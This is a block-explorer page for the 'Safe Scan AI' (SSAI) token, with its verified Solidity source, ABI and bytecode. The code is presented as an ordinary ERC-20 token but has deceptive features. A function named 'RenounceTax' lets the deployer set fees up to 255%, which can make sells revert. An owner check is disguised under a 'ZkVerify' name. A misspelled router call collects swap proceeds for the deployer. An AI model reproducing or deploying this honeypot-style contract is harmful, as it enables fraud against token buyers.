ETH Price: $3,276.47 (+0.78%)
Gas: 1 Gwei

Token

Safe Scan AI (SSAI)
 

Overview

Max Total Supply

100,000,000 SSAI

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
396,072.174779093207935288 SSAI

Value
$0.00
0x61531596471ffe8cbf0ac7215739b0726a36855d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SSAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-04-07
*/

/*
Safe Scan AI 🔐

Safe Scan AI is an ecosystem that collects the best Web3 solutions, combining and finding the perfect balance between crypto and artificial intelligence. 

https://safescanai.com/

https://app.safescanai.com/

https://twitter.com/SafeScanAI

https://safe-scan-ai.gitbook.io/


*/



// SPDX-License-Identifier: unlicense

pragma solidity 0.8.21;

contract SSAI  {
    string public _name = unicode"Safe Scan AI";
    string public _symbol = unicode"SSAI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000 * 10**decimals;

    struct StoreData {
        address TokenMarketing;
        uint8 _buyFees;
        uint8 _sellFees;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed marketing_token,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _init_buyFees = 0;
        uint8 _init_sellFees = 0;
        storeData = StoreData({
            TokenMarketing: msg.sender,
            _buyFees: _init_buyFees,
            _sellFees: _init_sellFees
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function RenounceTax(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMarketingWithZkVerify()) revert Permissions();
        removeTax(_buy, _sell);
    }

    function removeTax(uint8 _buy, uint8 _sell) private {
        storeData._buyFees = _buy;
        storeData._sellFees = _sell;
    }

    function _decodeTokenMarketingWithZkVerify() private view returns(address) {
        return storeData.TokenMarketing;
    }

    function EnableTrade() external {
        require(msg.sender == _decodeTokenMarketingWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view  virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address TokenMarketing = _decodeTokenMarketingWithZkVerify();
        require(tradingOpen || from == TokenMarketing || to == TokenMarketing);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TokenMarketing) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(TokenMarketing).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _initBuyFee, uint8 _initSellFee) = (storeData._buyFees, storeData._sellFees);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _initSellFee : _initBuyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"marketing_token","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"RenounceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"TokenMarketing","type":"address"},{"internalType":"uint8","name":"_buyFees","type":"uint8"},{"internalType":"uint8","name":"_sellFees","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c60809081526b53616665205363616e20414960a01b60a0525f906200002c9082620001f8565b506040805180820190915260048152635353414960e01b6020820152600190620000579082620001f8565b5034801562000064575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b199093169290921790915580620000b06012600a620003cf565b620000c0906305f5e100620003e6565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200012f6012600a620003cf565b6200013f906305f5e100620003e6565b60405190815260200160405180910390a3505062000400565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200018157607f821691505b602082108103620001a057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001f3575f81815260208120601f850160051c81016020861015620001ce5750805b601f850160051c820191505b81811015620001ef57828155600101620001da565b5050505b505050565b81516001600160401b0381111562000214576200021462000158565b6200022c816200022584546200016c565b84620001a6565b602080601f83116001811462000262575f84156200024a5750858301515b5f19600386901b1c1916600185901b178555620001ef565b5f85815260208120601f198616915b82811015620002925788860151825594840194600190910190840162000271565b5085821015620002b057878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200031457815f1904821115620002f857620002f8620002c0565b808516156200030657918102915b93841c9390800290620002d9565b509250929050565b5f826200032c57506001620003c9565b816200033a57505f620003c9565b81600181146200035357600281146200035e576200037e565b6001915050620003c9565b60ff841115620003725762000372620002c0565b50506001821b620003c9565b5060208310610133831016604e8410600b8410161715620003a3575081810a620003c9565b620003af8383620002d4565b805f1904821115620003c557620003c5620002c0565b0290505b92915050565b5f620003df60ff8416836200031c565b9392505050565b8082028115828204841417620003c957620003c9620002c0565b610f63806200040e5f395ff3fe6080604052600436106100e7575f3560e01c806370a0823111610087578063b09f126611610057578063b09f1266146102c6578063d28d8852146102da578063dd62ed3e146102ee578063fa01fdd714610324575f80fd5b806370a082311461023157806395d89b411461025c578063a8aa1b3114610270578063a9059cbb146102a7575f80fd5b806323b872dd116100c257806323b872dd1461016d578063313ce5671461018c5780634abe3052146101b25780636bb0cfd814610210575f80fd5b806306fdde03146100f2578063095ea7b31461011c57806318160ddd1461014b575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50610106610338565b6040516101139190610b97565b60405180910390f35b348015610127575f80fd5b5061013b610136366004610bf9565b6103c7565b6040519015158152602001610113565b348015610156575f80fd5b5061015f610433565b604051908152602001610113565b348015610178575f80fd5b5061013b610187366004610c23565b610450565b348015610197575f80fd5b506101a0601281565b60405160ff9091168152602001610113565b3480156101bd575f80fd5b506002546101e7906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610113565b34801561021b575f80fd5b5061022f61022a366004610c76565b61049d565b005b34801561023c575f80fd5b5061015f61024b366004610ca7565b60036020525f908152604090205481565b348015610267575f80fd5b506101066104fb565b34801561027b575f80fd5b5060055461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b3480156102b2575f80fd5b5061013b6102c1366004610bf9565b61050a565b3480156102d1575f80fd5b5061010661051d565b3480156102e5575f80fd5b506101066105a9565b3480156102f9575f80fd5b5061015f610308366004610cc2565b600460209081525f928352604080842090915290825290205481565b34801561032f575f80fd5b5061022f6105b5565b60605f805461034690610cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461037290610cf9565b80156103bd5780601f10610394576101008083540402835291602001916103bd565b820191905f5260205f20905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104219086815260200190565b60405180910390a35060015b92915050565b61043f6012600a610e25565b61044d906305f5e100610e33565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610484908490610e4a565b90915550610495905084848461076b565b949350505050565b6002546001600160a01b031633146104c757604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b60606001805461034690610cf9565b5f61051633848461076b565b9392505050565b6001805461052a90610cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461055690610cf9565b80156105a15780601f10610578576101008083540402835291602001916105a1565b820191905f5260205f20905b81548152906001019060200180831161058457829003601f168201915b505050505081565b5f805461052a90610cf9565b6002546001600160a01b031633146105cb575f80fd5b600554600160a81b900460ff16156105e1575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106569190610e5d565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cd9190610e5d565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561071c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107409190610e5d565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061077f6002546001600160a01b031690565b600554909150600160a81b900460ff16806107ab5750806001600160a01b0316856001600160a01b0316145b806107c75750806001600160a01b0316846001600160a01b0316145b6107cf575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906107f6908490610e4a565b90915550506005546001600160a01b0385811691161480156108225750600554600160a01b900460ff16155b8015610861575060646108376012600a610e25565b610845906305f5e100610e33565b61084f9190610e78565b305f9081526003602052604090205410155b801561087f5750806001600160a01b0316856001600160a01b031614155b15610a5d576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108ca576108ca610e97565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095e9190610e5d565b8160018151811061097157610971610e97565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646109b16012600a610e25565b6109bf906305f5e100610e33565b6109c99190610e78565b5f8430426040518663ffffffff1660e01b81526004016109ed959493929190610eab565b5f604051808303815f87803b158015610a04575f80fd5b505af1158015610a16573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a4d573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a9b5750600554600160a81b900460ff1615156001145b15610b0f576005545f906064906001600160a01b03898116911614610ac05783610ac2565b825b610acf9060ff1688610e33565b610ad99190610e78565b9050610ae58187610e4a565b305f90815260036020526040812080549298508392909190610b08908490610f1a565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610b36908490610f1a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b8291815260200190565b60405180910390a35060019695505050505050565b5f6020808352835180828501525f5b81811015610bc257858101830151858201604001528201610ba6565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bf6575f80fd5b50565b5f8060408385031215610c0a575f80fd5b8235610c1581610be2565b946020939093013593505050565b5f805f60608486031215610c35575f80fd5b8335610c4081610be2565b92506020840135610c5081610be2565b929592945050506040919091013590565b803560ff81168114610c71575f80fd5b919050565b5f8060408385031215610c87575f80fd5b610c9083610c61565b9150610c9e60208401610c61565b90509250929050565b5f60208284031215610cb7575f80fd5b813561051681610be2565b5f8060408385031215610cd3575f80fd5b8235610cde81610be2565b91506020830135610cee81610be2565b809150509250929050565b600181811c90821680610d0d57607f821691505b602082108103610d2b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610d7f57815f1904821115610d6557610d65610d31565b80851615610d7257918102915b93841c9390800290610d4a565b509250929050565b5f82610d955750600161042d565b81610da157505f61042d565b8160018114610db75760028114610dc157610ddd565b600191505061042d565b60ff841115610dd257610dd2610d31565b50506001821b61042d565b5060208310610133831016604e8410600b8410161715610e00575081810a61042d565b610e0a8383610d45565b805f1904821115610e1d57610e1d610d31565b029392505050565b5f61051660ff841683610d87565b808202811582820484141761042d5761042d610d31565b8181038181111561042d5761042d610d31565b5f60208284031215610e6d575f80fd5b815161051681610be2565b5f82610e9257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610ef95784516001600160a01b031683529383019391830191600101610ed4565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561042d5761042d610d3156fea26469706673582212209d6926e5541244c522089c333b8fb067f90248226b8f4bc6923f57d42e5a68ba64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c806370a0823111610087578063b09f126611610057578063b09f1266146102c6578063d28d8852146102da578063dd62ed3e146102ee578063fa01fdd714610324575f80fd5b806370a082311461023157806395d89b411461025c578063a8aa1b3114610270578063a9059cbb146102a7575f80fd5b806323b872dd116100c257806323b872dd1461016d578063313ce5671461018c5780634abe3052146101b25780636bb0cfd814610210575f80fd5b806306fdde03146100f2578063095ea7b31461011c57806318160ddd1461014b575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50610106610338565b6040516101139190610b97565b60405180910390f35b348015610127575f80fd5b5061013b610136366004610bf9565b6103c7565b6040519015158152602001610113565b348015610156575f80fd5b5061015f610433565b604051908152602001610113565b348015610178575f80fd5b5061013b610187366004610c23565b610450565b348015610197575f80fd5b506101a0601281565b60405160ff9091168152602001610113565b3480156101bd575f80fd5b506002546101e7906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610113565b34801561021b575f80fd5b5061022f61022a366004610c76565b61049d565b005b34801561023c575f80fd5b5061015f61024b366004610ca7565b60036020525f908152604090205481565b348015610267575f80fd5b506101066104fb565b34801561027b575f80fd5b5060055461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b3480156102b2575f80fd5b5061013b6102c1366004610bf9565b61050a565b3480156102d1575f80fd5b5061010661051d565b3480156102e5575f80fd5b506101066105a9565b3480156102f9575f80fd5b5061015f610308366004610cc2565b600460209081525f928352604080842090915290825290205481565b34801561032f575f80fd5b5061022f6105b5565b60605f805461034690610cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461037290610cf9565b80156103bd5780601f10610394576101008083540402835291602001916103bd565b820191905f5260205f20905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104219086815260200190565b60405180910390a35060015b92915050565b61043f6012600a610e25565b61044d906305f5e100610e33565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610484908490610e4a565b90915550610495905084848461076b565b949350505050565b6002546001600160a01b031633146104c757604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b60606001805461034690610cf9565b5f61051633848461076b565b9392505050565b6001805461052a90610cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461055690610cf9565b80156105a15780601f10610578576101008083540402835291602001916105a1565b820191905f5260205f20905b81548152906001019060200180831161058457829003601f168201915b505050505081565b5f805461052a90610cf9565b6002546001600160a01b031633146105cb575f80fd5b600554600160a81b900460ff16156105e1575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106569190610e5d565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cd9190610e5d565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561071c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107409190610e5d565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061077f6002546001600160a01b031690565b600554909150600160a81b900460ff16806107ab5750806001600160a01b0316856001600160a01b0316145b806107c75750806001600160a01b0316846001600160a01b0316145b6107cf575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906107f6908490610e4a565b90915550506005546001600160a01b0385811691161480156108225750600554600160a01b900460ff16155b8015610861575060646108376012600a610e25565b610845906305f5e100610e33565b61084f9190610e78565b305f9081526003602052604090205410155b801561087f5750806001600160a01b0316856001600160a01b031614155b15610a5d576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108ca576108ca610e97565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095e9190610e5d565b8160018151811061097157610971610e97565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646109b16012600a610e25565b6109bf906305f5e100610e33565b6109c99190610e78565b5f8430426040518663ffffffff1660e01b81526004016109ed959493929190610eab565b5f604051808303815f87803b158015610a04575f80fd5b505af1158015610a16573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a4d573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a9b5750600554600160a81b900460ff1615156001145b15610b0f576005545f906064906001600160a01b03898116911614610ac05783610ac2565b825b610acf9060ff1688610e33565b610ad99190610e78565b9050610ae58187610e4a565b305f90815260036020526040812080549298508392909190610b08908490610f1a565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610b36908490610f1a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b8291815260200190565b60405180910390a35060019695505050505050565b5f6020808352835180828501525f5b81811015610bc257858101830151858201604001528201610ba6565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bf6575f80fd5b50565b5f8060408385031215610c0a575f80fd5b8235610c1581610be2565b946020939093013593505050565b5f805f60608486031215610c35575f80fd5b8335610c4081610be2565b92506020840135610c5081610be2565b929592945050506040919091013590565b803560ff81168114610c71575f80fd5b919050565b5f8060408385031215610c87575f80fd5b610c9083610c61565b9150610c9e60208401610c61565b90509250929050565b5f60208284031215610cb7575f80fd5b813561051681610be2565b5f8060408385031215610cd3575f80fd5b8235610cde81610be2565b91506020830135610cee81610be2565b809150509250929050565b600181811c90821680610d0d57607f821691505b602082108103610d2b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610d7f57815f1904821115610d6557610d65610d31565b80851615610d7257918102915b93841c9390800290610d4a565b509250929050565b5f82610d955750600161042d565b81610da157505f61042d565b8160018114610db75760028114610dc157610ddd565b600191505061042d565b60ff841115610dd257610dd2610d31565b50506001821b61042d565b5060208310610133831016604e8410600b8410161715610e00575081810a61042d565b610e0a8383610d45565b805f1904821115610e1d57610e1d610d31565b029392505050565b5f61051660ff841683610d87565b808202811582820484141761042d5761042d610d31565b8181038181111561042d5761042d610d31565b5f60208284031215610e6d575f80fd5b815161051681610be2565b5f82610e9257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610ef95784516001600160a01b031683529383019391830191600101610ed4565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561042d5761042d610d3156fea26469706673582212209d6926e5541244c522089c333b8fb067f90248226b8f4bc6923f57d42e5a68ba64736f6c63430008150033

Deployed Bytecode Sourcemap

391:4614:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3317:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2965:207;;;;;;;;;;-1:-1:-1;2965:207:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;2965:207:0;1023:187:1;549:64:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;549:64:0;1215:177:1;2734:223:0;;;;;;;;;;-1:-1:-1;2734:223:0;;;;;:::i;:::-;;:::i;507:35::-;;;;;;;;;;;;540:2;507:35;;;;;2030:4:1;2018:17;;;2000:36;;1988:2;1973:18;507:35:0;1858:184:1;739:26:0;;;;;;;;;;-1:-1:-1;739:26:0;;;;-1:-1:-1;;;;;739:26:0;;;;-1:-1:-1;;;739:26:0;;;;;-1:-1:-1;;;739:26:0;;;;;;;;;-1:-1:-1;;;;;2259:32:1;;;2241:51;;2340:4;2328:17;;;2323:2;2308:18;;2301:45;2382:17;;2362:18;;;2355:45;2229:2;2214:18;739:26:0;2047:359:1;1880:182:0;;;;;;;;;;-1:-1:-1;1880:182:0;;;;;:::i;:::-;;:::i;:::-;;1062:44;;;;;;;;;;-1:-1:-1;1062:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;3416:96;;;;;;;;;;;;;:::i;1186:19::-;;;;;;;;;;-1:-1:-1;1186:19:0;;;;-1:-1:-1;;;;;1186:19:0;;;;;;-1:-1:-1;;;;;3245:32:1;;;3227:51;;3215:2;3200:18;1186:19:0;3081:203:1;3180:129:0;;;;;;;;;;-1:-1:-1;3180:129:0;;;;;:::i;:::-;;:::i;463:37::-;;;;;;;;;;;;;:::i;413:43::-;;;;;;;;;;;;;:::i;1113:64::-;;;;;;;;;;-1:-1:-1;1113:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;2345:381;;;;;;;;;;;;;:::i;3317:91::-;3362:13;3395:5;3388:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3317:91;:::o;2965:207::-;3060:10;3033:4;3050:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3050:30:0;;;;;;;;;;:39;;;3105:37;3033:4;;3050:30;;3105:37;;;;3083:6;1361:25:1;;1349:2;1334:18;;1215:177;3105:37:0;;;;;;;;-1:-1:-1;3160:4:0;2965:207;;;;;:::o;549:64::-;601:12;540:2;601;:12;:::i;:::-;587:26;;:11;:26;:::i;:::-;549:64;:::o;2734:223::-;-1:-1:-1;;;;;2867:15:0;;2850:4;2867:15;;;:9;:15;;;;;;;;2883:10;2867:27;;;;;;;:37;;2898:6;;2867:27;2850:4;;2867:37;;2898:6;;2867:37;:::i;:::-;;;;-1:-1:-1;2922:27:0;;-1:-1:-1;2932:4:0;2938:2;2942:6;2922:9;:27::i;:::-;2915:34;2734:223;-1:-1:-1;;;;2734:223:0:o;1880:182::-;2305:9;:24;-1:-1:-1;;;;;2305:24:0;1950:10;:49;1946:75;;2008:13;;-1:-1:-1;;;2008:13:0;;;;;;;;;;;1946:75;2133:9;:25;;-1:-1:-1;;;;2169:27:0;-1:-1:-1;;;2133:25:0;;;;;-1:-1:-1;;;;2169:27:0;;-1:-1:-1;;;2169:27:0;;;;;;;;;;;;;;1880:182::o;3416:96::-;3464:13;3497:7;3490:14;;;;;:::i;3180:129::-;3244:4;3268:33;3278:10;3290:2;3294:6;3268:9;:33::i;:::-;3261:40;3180:129;-1:-1:-1;;;3180:129:0:o;463:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;413:43::-;;;;;;;:::i;2345:381::-;2305:9;:24;-1:-1:-1;;;;;2305:24:0;2396:10;:49;2388:58;;;;;;2466:11;;-1:-1:-1;;;2466:11:0;;;;2465:12;2457:21;;;;;;2489:16;1278:42;-1:-1:-1;;;;;2508:24:0;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2489:45;;2545:13;1278:42;-1:-1:-1;;;;;2561:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2611:55;;-1:-1:-1;;;2611:55:0;;2653:4;2611:55;;;6356:34:1;-1:-1:-1;;;;;6426:15:1;;;6406:18;;;6399:43;2545:39:0;;-1:-1:-1;2595:13:0;;2611:33;;;;;6291:18:1;;2611:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2677:4;:12;;-1:-1:-1;;;;;;2700:18:0;-1:-1:-1;;;;;2677:12:0;;;2700:18;;;;-1:-1:-1;;;2700:18:0;;;-1:-1:-1;;;2345:381:0:o;3520:1482::-;3633:4;3650:22;3675:35;2305:9;:24;-1:-1:-1;;;;;2305:24:0;;2212:125;3675:35;3729:11;;3650:60;;-1:-1:-1;;;;3729:11:0;;;